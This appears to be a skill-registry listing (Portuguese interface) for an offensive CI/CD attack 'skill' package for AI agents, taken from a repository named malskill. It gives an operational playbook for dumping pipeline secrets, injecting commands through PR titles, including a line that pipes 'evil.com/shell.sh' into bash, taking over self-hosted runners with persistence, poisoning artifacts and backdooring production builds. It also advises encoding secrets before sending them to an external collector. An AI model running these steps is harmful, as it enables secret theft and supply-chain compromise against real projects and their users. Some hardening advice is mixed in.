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aeondave/cicd-techniqueLinux, cloud e containers

cicd-technique

⁨CI/CD supply chain methodology: identifying poisoned pipelines, unsafe GitHub Actions, and extracting build secrets.⁩

v2026.11.13-21cd5682 instalações+2 em 7 dias39 Estrelassincronizado há 10 horas

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VarreduraMédio3 achados
  • command.pipe_to_shellSKILL.md:28
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Fontegithub.com/AeonDave/malskill/tree/main/offensive-techniques/cicd-technique@21cd568

Este item ainda não foi escrito no seu idioma, então aparece em English.

Goal: Exploit CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins) to achieve code execution in runners, extract pipeline secrets, or backdoor production artifacts.

When this technique applies

  • Evaluating a repository for supply chain vulnerabilities.
  • Gained access to a repository with write permissions to Pull Requests, Issues, or Wiki.
  • Compromised a CI/CD runner container.

The Execution Workflow

1. Runner Context Enumeration

If you achieved execution within a pipeline step (e.g., via Poisoned PR):

  • Dump secrets: Run env, search for AWS_ACCESS_KEY_ID, GITHUB_TOKEN, or $NPM_TOKEN.
  • Identity: For GitHub, investigate ACTIONS_ID_TOKEN_REQUEST_URL for OIDC (OpenID Connect) trust to AWS/GCP/Azure.

2. Identifying Injection Vectors

Review the pipeline configuration files (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile).

  • Untrusted Input in Scripts: Look for run: blocks that echo/execute issue names, PR titles, or commit messages without sanitization:
    yaml
    - run: echo "Checking PR title: ${{ github.event.pull_request.title }}"
    (A PR titled "; curl http://evil.com/shell.sh | bash; " will execute).
  • pull_request_target Abuse ("pwn request"): Workflows using pull_request_target run with elevated repository permissions and access to secrets. If they explicitly check out the fork's head (ref: ${{ github.event.pull_request.head.sha }}) and then run npm install, make, or any build step, attacker code executes with the workflow's full privileges.
  • Self-Hosted Runner Takeover: Non-ephemeral self-hosted runners on public repos are compromised by submitting a PR that adds a job with runs-on: self-hosted. The first-time contributor gate can be bypassed once any prior PR is merged; the runner then executes attacker code, and persistence (cron/systemd/.bashrc) is often possible because the runner reuses the same workspace between jobs. Named 2024 cases: PyTorch, TensorFlow, Microsoft DeepSpeed.
  • Artifact Poisoning: A low-privilege workflow (fork PR) uploads a malicious artifact; a later privileged workflow downloads it and executes/extracts it. Watch for actions/download-artifact without github-token + run-id pinning, and dawidd6/action-download-artifact <v6 (searches forks by default — GHSA-5xr6-xhww-33m4). Also actions/download-artifact <4.1.3 has arbitrary-file-write on extraction (GHSA-cxww-7g56-2vh6).

3. Pipeline Poisoning (Artifacts)

  • Identify if the pipeline builds the production Docker image or binaries.
  • If you can push code or control dependencies (e.g., typosquatting package.json), you can implant backdoors natively into the production deployment cycle.

Resolver and cache checks

  • Python/pip: --extra-index-url is not a lower-priority fallback: pip checks all configured locations and selects the best matching version. Audit installs for private names also exposed to public indexes; use a controlled source for those names. pip install: finding packages.
  • GitHub Actions cache: Trace cached paths, key/restore-keys, and privileged consumers. Fork-PR workflows can restore base-branch caches, while caches they create are merge-ref scoped; low-trust default-branch triggers are read-only by default unless a write-capable cache-mode override is set. Check whether privileged workflows execute restored contents. GitHub cache restrictions and low-trust triggers.

Supply-chain assurance

  • Preserve one immutable identity chain: source revision and declared inputs → builder/build provenance → artifact digest → tests and signature → promoted artifact; verify artifact tests, signatures, and promotion reference the same artifact digest, not a rebuilt or substituted file. SLSA build provenance.
  • Treat an SBOM as a component inventory, not evidence that the artifact has no vulnerabilities; use VEX to record vulnerability applicability for the exact product/version with a justification or impact statement.
  • Verify signatures/provenance against policy: artifact digest and builder identity bind claims to bytes and a build identity, but neither alone establishes that the builder or output is trustworthy. SLSA verification.
  • Pin GitHub Actions to a full-length commit SHA (and verify it belongs to the intended upstream repository), not a mutable tag; retain dependency lockfiles for the action's build where applicable. GitHub security hardening.

Quality Gates

  • Beware of Production Impact: Do not blindly merge poisoned Pull Requests into main. Injecting a backdoor into a build pipeline will trigger incident response or deploy malware to live customers. Keep proofs restricted to harmless env | grep outputs (secrets are log-masked; base64/hex-encode before exfil) sent to an out-of-band (OAST) collector.
  • Avoid Credential Rolling: Only read CI/CD secrets. Do NOT rotate or regenerate them, as it will break the production pipeline completely.

Arquivos desta versão

Permissões

PermissãoDeclaradaEncontrada na varredura
Lê arquivosNãoNão
Grava arquivosNãoNão
Roda comandos no shellSimSim
Usa a redeSimSim
Usa conectoresNãoNão
Controla um navegadorNãoNão

Achados da varredura

Revisado em 13 de nov. de 2026

  1. MédiaComando · command.pipe_to_shellSKILL.md:28
  2. MédiaLicença · Nenhuma licença encontrada
  3. InfoLink · Links para domínios externos

Uma varredura limpa reduz o risco, mas não prova que o pacote é seguro. Leia o que você instala.

VersãoPublicada emCommitSHA-256AssinaturaMudança de permissão
v2026.11.13-21cd56813 de nov. de 202621cd56898555972Assinada–

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